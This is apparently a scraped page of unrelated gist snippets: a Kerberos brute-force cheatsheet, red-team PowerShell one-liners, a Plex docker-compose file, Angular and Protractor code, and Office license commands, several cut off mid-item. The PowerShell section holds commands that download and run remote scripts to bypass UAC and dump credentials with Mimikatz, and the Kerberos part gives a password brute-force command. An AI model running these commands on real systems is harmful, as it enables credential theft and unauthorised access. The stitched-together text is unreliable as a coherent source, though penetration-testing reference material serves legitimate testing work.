TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

jivoi

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands

Aghassi

version: '2'
services:
    plex:
        image: linuxserver/plex
        container_name: plex
        volumes:
            - /path/to/plex/config:/config
            - /path/to/plex/Movies:/data/movies
            - /path/to/plex/Shows:/data/tvshows
            - /path/to/plex/transcode:/data/transcode

nrobinaubertin

import { NgbDatepickerConfig, NgbDateParserFormatter } from '@ng-bootstrap/ng-bootstrap';
import { NgbDateFRParserFormatter } from "./ngb-date-fr-parser-formatter"

@Component({
    providers: [{provide: NgbDateParserFormatter, useClass: NgbDateFRParserFormatter}]
})
export class AppComponent {}

giordanocardillo

1. Open a command prompt as Administrator
2. In the command prompt, type the following:

• Office 2016 (32-bit) on a 32-bit version of Windows

  cscript "C:\Program Files\Microsoft Office\Office16\OSPP.VBS" /dstatus

• Office 2016 (32-bit) on a 64-bit version of Windows

  cscript "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /dstatus

• Office 2016 (64-bit) on a 64-bit version of Windows

javierarques

Protractor API

http://angular.github.io/protractor/#/api

Note: Most commands return promises, so you only resolve their values through using jasmine expect API or using .then(function()) structure

Based on this post: https://spagettikoodi.wordpress.com/2015/01/14/angular-testing-cheat-sheet/ by @crystoll

Control browser

browser.get('yoururl'); // Load address, can also use '#yourpage'